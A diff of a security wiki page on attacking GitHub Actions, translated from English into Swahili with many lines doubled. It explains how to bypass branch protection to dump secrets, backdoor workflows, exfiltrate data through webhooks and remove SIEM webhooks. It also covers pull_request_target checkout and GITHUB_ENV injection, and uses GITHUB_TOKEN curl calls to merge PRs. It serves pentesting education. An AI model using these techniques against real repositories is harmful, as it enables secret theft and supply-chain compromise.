||||
- **Kuondoa Ulinzi wa Tawi**: Ikiwa wewe ni **msimamizi wa repo unaweza kuzima ulinzi**, kuunganisha PR yako na kuweka ulinzi tena.
|
||||
- **Kupita ulinzi wa kusukuma**: Ikiwa repo **inaruhusu watumiaji fulani tu** kutuma kusukuma (kuunganisha msimbo) katika matawi (ulinzi wa tawi unaweza kuwa unalinda matawi yote kwa kubainisha wildcard `*`).
|
||||
- Ikiwa una **ufikiaji wa kuandika juu ya repo lakini hujapewa ruhusa ya kusukuma msimbo** kwa sababu ya ulinzi wa tawi, bado unaweza **kuunda tawi jipya** na ndani yake kuunda **github action inayozinduliwa wakati msimbo unasukumwa**. Kwa kuwa **ulinzi wa tawi hautalinda tawi hadi litakapotengenezwa**, kusukuma msimbo huu wa kwanza kwenye tawi uta **zindua github action**.
|
||||
- **Kupita ulinzi wa kusukuma**: Ikiwa repo **inaruhusu tu watumiaji fulani** kutuma kusukuma (kuunganisha msimbo) katika matawi (ulinzi wa tawi unaweza kulinda matawi yote kwa kubainisha wildcard `*`).
|
||||
- Ikiwa una **ufikiaji wa kuandika juu ya repo lakini hujapewa ruhusa ya kusukuma msimbo** kwa sababu ya ulinzi wa tawi, bado unaweza **kuunda tawi jipya** na ndani yake kuunda **github action inayozinduliwa wakati msimbo unasukumwa**. Kwa kuwa **ulinzi wa tawi hautalinda tawi hadi litengenezwe**, kusukuma kwa msimbo huu wa kwanza kwenye tawi kut **atekeleza github action**.
|
||||
|
||||
## Kupita Ulinzi wa Mazingira
|
||||
|
||||
Kwa utangulizi kuhusu [**Mazingira ya Github angalia taarifa za msingi**](basic-github-information.md#git-environments).
|
||||
|
||||
Katika kesi mazingira yanaweza **kupatikana kutoka matawi yote**, **hayana ulinzi** na unaweza kwa urahisi kupata siri ndani ya mazingira. Kumbuka kwamba unaweza kupata repo ambapo **matawi yote yanahifadhiwa** (kwa kubainisha majina yake au kwa kutumia `*`) katika hali hiyo, **tafuta tawi ambapo unaweza kusukuma msimbo** na unaweza **kuondoa** siri kwa kuunda github action mpya (au kubadilisha moja).
|
||||
Katika kesi mazingira yanaweza **kupatikana kutoka matawi yote**, **hayalindwi** na unaweza kwa urahisi kupata siri ndani ya mazingira. Kumbuka kwamba unaweza kupata repos ambapo **matawi yote yanapewa ulinzi** (kwa kubainisha majina yake au kwa kutumia `*`) katika hali hiyo, **tafuta tawi ambapo unaweza kusukuma msimbo** na unaweza **kuondoa** siri kwa kuunda github action mpya (au kubadilisha moja).
|
||||
|
||||
Kumbuka, kwamba unaweza kupata hali ya mwisho ambapo **matawi yote yanahifadhiwa** (kupitia wildcard `*`) imebainishwa **nani anaweza kusukuma msimbo kwenye matawi** (_unaweza kubainisha hiyo katika ulinzi wa tawi_) na **mtumiaji wako hajaruhusiwa**. Bado unaweza kuendesha github action maalum kwa sababu unaweza kuunda tawi na kutumia kichocheo cha kusukuma juu yake mwenyewe. **Ulinzi wa tawi unaruhusu kusukuma kwenye tawi jipya hivyo github action itazinduliwa**.
|
||||
Kumbuka, kwamba unaweza kupata kesi ya mwisho ambapo **matawi yote yanapewa ulinzi** (kupitia wildcard `*`) imebainishwa **nani anaweza kusukuma msimbo kwenye matawi** (_unaweza kubainisha hiyo katika ulinzi wa tawi_) na **mtumiaji wako hauruhusiwi**. Bado unaweza kuendesha github action maalum kwa sababu unaweza kuunda tawi na kutumia kichocheo cha kusukuma juu yake mwenyewe. **Ulinzi wa tawi unaruhusu kusukuma kwenye tawi jipya hivyo github action itazinduliwa**.
|
||||
```yaml
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
```
|
||||
Note that **baada ya kuunda** the branch the **branch protection itatumika kwa tawi jipya** and you won't be able to modify it, but for that time you will have already dumped the secrets.
|
||||
Kumbuka kwamba **baada ya kuunda** tawi, **ulinzi wa tawi utaweza kutumika kwa tawi jipya** na huwezi kulibadilisha, lakini kwa wakati huo tayari utakuwa umepata siri hizo.
|
||||
|
||||
## Persistence
|
||||
## Kudumu
|
||||
|
||||
- Generate **user token**
|
||||
- Steal **github tokens** from **secrets**
|
||||
- **Deletion** of workflow **results** and **branches**
|
||||
- Give **more permissions to all the org**
|
||||
- Create **webhooks** to exfiltrate information
|
||||
- Invite **outside collaborators**
|
||||
- **Remove** **webhooks** used by the **SIEM**
|
||||
- Create/modify **Github Action** with a **backdoor**
|
||||
- Find **vulnerable Github Action to command injection** via **secret** value modification
|
||||
- Tengeneza **token ya mtumiaji**
|
||||
- Nyakua **token za github** kutoka **siri**
|
||||
- **Kuondoa** **matokeo** ya workflow na **matawi**
|
||||
- Toa **idhini zaidi kwa shirika lote**
|
||||
- Unda **webhooks** za kuhamasisha taarifa
|
||||
- Karibisha **washirikishi wa nje**
|
||||
- **Ondoa** **webhooks** zinazotumiwa na **SIEM**
|
||||
- Unda/badilisha **Github Action** yenye **mlango wa nyuma**
|
||||
- Pata **Github Action iliyo hatarini kwa kuingiza amri** kupitia **mabadiliko ya** thamani ya **siri**
|
||||
|
||||
### Imposter Commits - Backdoor via repo commits
|
||||
### Imposter Commits - Mlango wa nyuma kupitia commits za repo
|
||||
|
||||
In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
|
||||
Katika Github inawezekana **kuunda PR kwa repo kutoka kwa fork**. Hata kama PR **haikubaliwi**, **commit** id ndani ya repo asilia itaundwa kwa toleo la fork la msimbo. Hivyo, mshambuliaji **anaweza kuunganisha kutumia commit maalum kutoka kwa repo inayodhaniwa kuwa halali ambayo haikuundwa na mmiliki wa repo**.
|
||||
|
||||
Like [**hii**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
Kama [**hii**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
```yaml
|
||||
name: example
|
||||
on: [push]
|
||||
|
||||
@@ -4,45 +4,45 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
In this page you will find:
|
||||
Katika ukurasa huu utaona:
|
||||
|
||||
- A **summary of all the impacts** of an attacker managing to access a Github Action
|
||||
- Different ways to **get access to an action**:
|
||||
- Having **permissions** to create the action
|
||||
- Abusing **pull request** related triggers
|
||||
- Abusing **other external access** techniques
|
||||
- **Pivoting** from an already compromised repo
|
||||
- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
|
||||
- **Muhtasari wa athari zote** za mshambuliaji kufanikiwa kupata ufikiaji wa Github Action
|
||||
- Njia tofauti za **kupata ufikiaji wa hatua**:
|
||||
- Kuwa na **idhini** za kuunda hatua hiyo
|
||||
- Kutumia **vichocheo** vinavyohusiana na ombi la kuvuta
|
||||
- Kutumia **mbinu nyingine za ufikiaji wa nje**
|
||||
- **Pivoting** kutoka kwenye repo iliyoshambuliwa tayari
|
||||
- Hatimaye, sehemu kuhusu **mbinu za baada ya unyakuzi kutumia hatua kutoka ndani** (kwa sababu ya athari zilizotajwa)
|
||||
|
||||
## Impacts Summary
|
||||
|
||||
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
Kwa utangulizi kuhusu [**Github Actions angalia taarifa za msingi**](../basic-github-information.md#github-actions).
|
||||
|
||||
If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
|
||||
Ikiwa unaweza **kutekeleza msimbo wowote katika GitHub Actions** ndani ya **repo**, unaweza kuwa na uwezo wa:
|
||||
|
||||
- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
|
||||
- **Compromise deployments** and other **artifacts**.
|
||||
- If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
|
||||
- **Execute code in custom workers** to abuse computing power and pivot to other systems.
|
||||
- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
|
||||
- **Kuhujumu siri** zilizowekwa kwenye pipeline na **kutumia mamlaka ya pipeline** kupata ufikiaji usioidhinishwa kwenye majukwaa ya nje, kama AWS na GCP.
|
||||
- **Kuhujumu matumizi** na **vitu vingine**.
|
||||
- Ikiwa pipeline inapeleka au kuhifadhi mali, unaweza kubadilisha bidhaa ya mwisho, kuwezesha shambulio la mnyororo wa usambazaji.
|
||||
- **Kutekeleza msimbo katika wafanyakazi maalum** ili kutumia nguvu za kompyuta na pivot kwa mifumo mingine.
|
||||
- **Kufuta msimbo wa repo**, kulingana na ruhusa zinazohusiana na `GITHUB_TOKEN`.
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
|
||||
Hii "**siri**" (inayotoka `${{ secrets.GITHUB_TOKEN }}` na `${{ github.token }}`) inatolewa wakati msimamizi anapowezesha chaguo hili:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
Token hii ni sawa na ile ambayo **Github Application itatumia**, hivyo inaweza kufikia mwisho sawa: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
|
||||
> Github inapaswa kutoa [**mchakato**](https://github.com/github/roadmap/issues/74) ambao **unaruhusu ufikiaji wa kuvuka-repo** ndani ya GitHub, ili repo iweze kufikia repo nyingine za ndani kwa kutumia `GITHUB_TOKEN`.
|
||||
|
||||
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
Unaweza kuona **idhini** zinazowezekana za token hii katika: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
Note that the token **expires after the job has completed**.\
|
||||
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
Kumbuka kwamba token **inaisha muda baada ya kazi kukamilika**.\
|
||||
Token hizi zinaonekana kama hii: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
Some interesting things you can do with this token:
|
||||
Mambo kadhaa ya kuvutia unayoweza kufanya na token hii:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Merge PR" }}
|
||||
@@ -67,7 +67,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-d '{"event":"APPROVE"}'
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="Unda PR" }}
|
||||
{{#tab name="Create PR" }}
|
||||
```bash
|
||||
# Create a PR
|
||||
curl -X POST \
|
||||
@@ -111,7 +111,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Pata shell ya kinyume na siri</summary>
|
||||
<summary>Pata shell ya kurudi na siri</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -141,19 +141,19 @@ Inawezekana kuangalia ruhusa zilizotolewa kwa Github Token katika hifadhi za wat
|
||||
## Utekelezaji Ulioidhinishwa
|
||||
|
||||
> [!NOTE]
|
||||
> Hii ingekuwa njia rahisi zaidi ya kuathiri vitendo vya Github, kwani kesi hii inadhani kuwa una uf access **kuunda hifadhi mpya katika shirika**, au una **haki za kuandika juu ya hifadhi**.
|
||||
> Hii ingekuwa njia rahisi zaidi ya kuathiri vitendo vya Github, kwani kesi hii inadhani kuwa una ufikiaji wa **kuunda hifadhi mpya katika shirika**, au una **haki za kuandika juu ya hifadhi**.
|
||||
>
|
||||
> Ikiwa uko katika hali hii unaweza tu kuangalia [Mbinu za Baada ya Utekelezaji](./#post-exploitation-techniques-from-inside-an-action).
|
||||
> Ikiwa uko katika hali hii unaweza tu kuangalia [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
|
||||
|
||||
### Utekelezaji Kutoka kwa Uundaji wa Hifadhi
|
||||
### Utekelezaji kutoka kwa Uundaji wa Hifadhi
|
||||
|
||||
Katika kesi ambapo wanachama wa shirika wanaweza **kuunda hifadhi mpya** na unaweza kutekeleza vitendo vya github, unaweza **kuunda hifadhi mpya na kuiba siri zilizowekwa katika kiwango cha shirika**.
|
||||
|
||||
### Utekelezaji Kutoka kwa Tawi Jipya
|
||||
### Utekelezaji kutoka kwa Tawi Jipya
|
||||
|
||||
Ikiwa unaweza **kuunda tawi jipya katika hifadhi ambayo tayari ina Github Action** iliyowekwa, unaweza **kubadilisha** hiyo, **kupakia** maudhui, na kisha **kutekeleza kitendo hicho kutoka kwa tawi jipya**. Kwa njia hii unaweza **kuondoa siri za hifadhi na kiwango cha shirika** (lakini unahitaji kujua zinaitwaje).
|
||||
|
||||
Unaweza kufanya kitendo kilichobadilishwa kiwe cha kutekelezeka **kwa mikono,** wakati **PR inaundwa** au wakati **kodi fulani inasukumwa** (kulingana na jinsi unavyotaka kuwa na sauti):
|
||||
Unaweza kufanya kitendo kilichobadilishwa kiwe cha kutekelezeka **kwa mikono,** wakati **PR inaundwa** au wakati **kodi fulani inasukumwa** (kulingana na jinsi unavyotaka kuwa na kelele):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
@@ -174,18 +174,18 @@ branches:
|
||||
|
||||
### `pull_request`
|
||||
|
||||
Vichocheo vya kazi **`pull_request`** vitatekeleza kazi kila wakati ombi la kuvuta linapopokelewa na baadhi ya visingizio: kwa kawaida ikiwa ni **mara ya kwanza** unapo **shirikiana**, baadhi ya **wasimamizi** watahitaji **kuthibitisha** **kuendesha** kazi hiyo:
|
||||
Vichocheo vya workflow **`pull_request`** vitatekeleza workflow kila wakati ombi la kuvuta linapopokelewa na baadhi ya visingizio: kwa kawaida ikiwa ni **mara ya kwanza** unapo **shirikiana**, baadhi ya **wasimamizi** watahitaji **kuthibitisha** **kuendesha** workflow:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Kwa kuwa **kikomo cha kawaida** ni kwa **watoaji wa mara ya kwanza**, unaweza kuchangia **kurekebisha hitilafu/typo halali** na kisha kutuma **PR nyingine ili kutumia haki zako mpya za `pull_request`**.
|
||||
> Kwa kuwa **kikomo cha kawaida** ni kwa **watoaji wa mara ya kwanza**, unaweza kuchangia **kurekebisha hitilafu halali/typo** na kisha kutuma **PR nyingine ili kutumia haki zako mpya za `pull_request`**.
|
||||
>
|
||||
> **Nilijaribu hii na haifanyi kazi**: ~~Chaguo lingine lingekuwa kuunda akaunti kwa jina la mtu ambaye alichangia kwenye mradi na kufuta akaunti yake.~~
|
||||
> **Nimejaribu hii na haifanyi kazi**: ~~Chaguo lingine lingekuwa kuunda akaunti kwa jina la mtu ambaye alichangia kwenye mradi na kufuta akaunti yake.~~
|
||||
|
||||
Zaidi ya hayo, kwa kawaida **inazuia ruhusa za kuandika** na **ufikiaji wa siri** kwa hifadhi lengwa kama ilivyoelezwa katika [**nyaraka**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
Zaidi ya hayo, kwa kawaida **inazuia ruhusa za kuandika** na **ufikiaji wa siri** kwa hifadhi lengwa kama ilivyoelezwa katika [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
|
||||
> Kwa kutengwa kwa `GITHUB_TOKEN`, **siri hazipitishwi kwa mchezaji** wakati kazi inachochewa kutoka hifadhi **forked**. **`GITHUB_TOKEN` ina ruhusa za kusoma tu** katika ombi la kuvuta **kutoka hifadhi za forked**.
|
||||
> Kwa kutengwa kwa `GITHUB_TOKEN`, **siri hazipitishwi kwa mchezaji** wakati workflow inachochewa kutoka hifadhi **forked**. **`GITHUB_TOKEN` ina ruhusa za kusoma tu** katika maombi ya kuvuta **kutoka hifadhi za forked**.
|
||||
|
||||
Mshambuliaji anaweza kubadilisha ufafanuzi wa Github Action ili kutekeleza mambo yasiyo na mipaka na kuongeza vitendo vya kiholela. Hata hivyo, hataweza kuiba siri au kufuta repo kwa sababu ya vikwazo vilivyotajwa.
|
||||
|
||||
@@ -196,20 +196,20 @@ Kwa kuwa mshambuliaji pia anadhibiti msimbo unaotekelezwa, hata kama hakuna siri
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
Vichocheo vya kazi **`pull_request_target`** vina **ruhusa za kuandika** kwa hifadhi lengwa na **ufikiaji wa siri** (na havihitaji ruhusa).
|
||||
Vichocheo vya workflow **`pull_request_target`** vina **ruhusa za kuandika** kwa hifadhi lengwa na **ufikiaji wa siri** (na havihitaji ruhusa).
|
||||
|
||||
Kumbuka kwamba vichocheo vya kazi **`pull_request_target`** **vinakimbia katika muktadha wa msingi** na si katika ile iliyotolewa na PR (ili **kutoendesha msimbo usioaminika**). Kwa maelezo zaidi kuhusu `pull_request_target` [**angalia nyaraka**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Zaidi ya hayo, kwa maelezo zaidi kuhusu matumizi haya hatari maalum angalia hii [**blogu ya github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
Kumbuka kwamba vichocheo vya workflow **`pull_request_target`** **vinakimbia katika muktadha wa msingi** na si katika ule unaotolewa na PR (ili **kutoendesha msimbo usioaminika**). Kwa maelezo zaidi kuhusu `pull_request_target` [**angalia docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Zaidi ya hayo, kwa maelezo zaidi kuhusu matumizi haya hatari maalum angalia [**blogu ya github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
|
||||
Inaweza kuonekana kuwa kwa sababu **kazi inayotekelezwa** ni ile iliyofafanuliwa katika **msingi** na **siyo katika PR** ni **salama** kutumia **`pull_request_target`**, lakini kuna **mifano michache ambapo si salama**.
|
||||
Inaweza kuonekana kuwa kwa sababu **workflow inayotekelezwa** ni ile iliyoainishwa katika **msingi** na **siyo katika PR** ni **salama** kutumia **`pull_request_target`**, lakini kuna **mambo machache ambapo si salama**.
|
||||
|
||||
Na hii itakuwa na **ufikiaji wa siri**.
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
Vichocheo vya [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) vinaruhusu kuendesha kazi kutoka nyingine wakati imekamilika, imeombwa au inaendelea.
|
||||
Vichocheo vya [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) vinaruhusu kuendesha workflow kutoka nyingine wakati imekamilika, imeombwa au inaendelea.
|
||||
|
||||
Katika mfano huu, kazi imewekwa ili kuendesha baada ya kazi tofauti "Run Tests" kukamilika:
|
||||
Katika mfano huu, workflow imepangwa kuendesha baada ya workflow tofauti "Run Tests" kukamilika:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -217,31 +217,31 @@ workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
|
||||
Zaidi ya hayo, kulingana na nyaraka: Mchakato ulioanzishwa na tukio la `workflow_run` unaweza **kupata siri na kuandika tokeni, hata kama mchakato wa awali haukuwa**.
|
||||
|
||||
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
|
||||
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
|
||||
Aina hii ya mchakato inaweza kushambuliwa ikiwa inategemea **mchakato** ambao unaweza **kuanzishwa** na mtumiaji wa nje kupitia **`pull_request`** au **`pull_request_target`**. Mifano kadhaa za hatari zinaweza [**kupatikana kwenye blogu hii**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Ya kwanza inahusisha **`workflow_run`** iliyoanzishwa ikipakua msimbo wa washambuliaji: `${{ github.event.pull_request.head.sha }}`\
|
||||
Ya pili inahusisha **kupitisha** **artifact** kutoka kwa msimbo **usioaminika** hadi kwenye mchakato wa **`workflow_run`** na kutumia maudhui ya artifact hii kwa njia inayofanya iwe **hatari kwa RCE**.
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
|
||||
TODO: Angalia ikiwa wakati inatekelezwa kutoka kwa pull_request msimbo ulio tumika/pakuliwa ni ule kutoka kwa asili au kutoka kwa PR iliyofanywa.
|
||||
|
||||
## Abusing Forked Execution
|
||||
## Kutumia Utekelezaji wa Forked
|
||||
|
||||
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
|
||||
Tumetaja njia zote ambazo mshambuliaji wa nje anaweza kuweza kufanya mchakato wa github kutekelezwa, sasa hebu tuangalie jinsi utekelezaji huu, ikiwa umewekwa vibaya, unaweza kutumiwa vibaya:
|
||||
|
||||
### Untrusted checkout execution
|
||||
### Utekelezaji wa untrusted checkout
|
||||
|
||||
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
|
||||
Katika kesi ya **`pull_request`,** mchakato utaanzishwa katika **muktadha wa PR** (hivyo utaanzisha **msimbo wa PR mbaya**), lakini mtu anahitaji **kuidhinisha kwanza** na utaendesha kwa baadhi ya [mipaka](./#pull_request).
|
||||
|
||||
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
|
||||
Katika kesi ya mchakato unaotumia **`pull_request_target` au `workflow_run`** inayotegemea mchakato ambao unaweza kuanzishwa kutoka **`pull_request_target` au `pull_request`** msimbo kutoka kwa repo ya asili utaanzishwa, hivyo **mshambuliaji hawezi kudhibiti msimbo unaotekelezwa**.
|
||||
|
||||
> [!CAUTION]
|
||||
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
|
||||
> Hata hivyo, ikiwa **action** ina **ukaguzi wa PR wazi** ambao uta **pata msimbo kutoka kwa PR** (na sio kutoka msingi), itatumia msimbo ulio chini ya udhibiti wa mshambuliaji. Kwa mfano (angalia mstari wa 12 ambapo msimbo wa PR unapakuliwa):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Imepewa kama mfano tu.
|
||||
on:
|
||||
pull_request_target
|
||||
|
||||
@@ -269,14 +269,14 @@ message: |
|
||||
Thank you!
|
||||
</code></pre>
|
||||
|
||||
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
|
||||
Msimbo unaoweza kuwa **usioaminika unatekelezwa wakati wa `npm install` au `npm build`** kwani skripti za kujenga na **pakiti** zinazohusishwa zinadhibitiwa na mwandishi wa PR.
|
||||
|
||||
> [!WARNING]
|
||||
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
|
||||
> Dork ya github kutafuta vitendo vyenye hatari ni: `event.pull_request pull_request_target extension:yml` hata hivyo, kuna njia tofauti za kuweka kazi zinazoweza kutekelezwa kwa usalama hata kama action imewekwa kwa njia isiyo salama (kama kutumia masharti kuhusu nani ni mchezaji anayezalisha PR).
|
||||
|
||||
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
### Makinikia ya Muktadha wa Script <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
|
||||
Kumbuka kuwa kuna baadhi ya [**muktadha ya github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) ambao thamani zao zina **dhibitiwa** na **mtumiaji** anayezalisha PR. Ikiwa action ya github inatumia hiyo **data kutekeleza chochote**, inaweza kusababisha **utekelezaji wa msimbo wa kiholela:**
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
@@ -284,23 +284,23 @@ gh-actions-context-script-injections.md
|
||||
|
||||
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
|
||||
Kutoka kwenye nyaraka: Unaweza kufanya **kigezo cha mazingira kiweze kupatikana kwa hatua zozote zinazofuata** katika kazi ya mchakato kwa kufafanua au kuboresha kigezo cha mazingira na kuandika hii kwenye faili ya mazingira ya **`GITHUB_ENV`**.
|
||||
|
||||
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
|
||||
Ikiwa mshambuliaji anaweza **kuchanganya thamani yoyote** ndani ya hii **env** kigezo, anaweza kuchanganya vigezo vya env ambavyo vinaweza kutekeleza msimbo katika hatua zinazofuata kama **LD_PRELOAD** au **NODE_OPTIONS**.
|
||||
|
||||
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
|
||||
Kwa mfano ([**hii**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) na [**hii**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), fikiria mchakato ambao unategemea artifact iliyopakiwa kuhifadhi maudhui yake ndani ya **`GITHUB_ENV`** kigezo. Mshambuliaji anaweza kupakia kitu kama hiki ili kukiharibu:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Vulnerable Third Party Github Actions
|
||||
### Vitendo vya Github vya Tatu vya Hatari
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
|
||||
Kama ilivyotajwa katika [**hiki kipande cha blogu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), hii Github Action inaruhusu kufikia artifacts kutoka kwa michakato tofauti na hata hifadhi.
|
||||
|
||||
The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
|
||||
Tatizo kubwa ni kwamba ikiwa **`path`** parameter haijawekwa, artifact inachukuliwa katika saraka ya sasa na inaweza kubadilisha faili ambazo zinaweza kutumika baadaye au hata kutekelezwa katika mchakato. Kwa hivyo, ikiwa Artifact ina hatari, mshambuliaji anaweza kutumia hii kuathiri michakato mingine inayotegemea Artifact.
|
||||
|
||||
Example of vulnerable workflow:
|
||||
Mfano wa mchakato wa hatari:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -340,27 +340,27 @@ path: ./script.py
|
||||
```
|
||||
---
|
||||
|
||||
## Mtu Mwingine wa Nje
|
||||
## Mipango Mingine ya Nje
|
||||
|
||||
### Utekaji wa Repo ya Namespace Iliyofutwa
|
||||
### Utekwaji wa Repo ya Namespace Iliyofutwa
|
||||
|
||||
Ikiwa akaunti inabadilisha jina lake, mtumiaji mwingine anaweza kujiandikisha na akaunti yenye jina hilo baada ya muda fulani. Ikiwa repo ilikuwa na **nyota chini ya 100 kabla ya kubadilisha jina**, Github itaruhusu mtumiaji mpya aliyejiandikisha kwa jina hilo kuunda **repo yenye jina sawa** na ile iliyofutwa.
|
||||
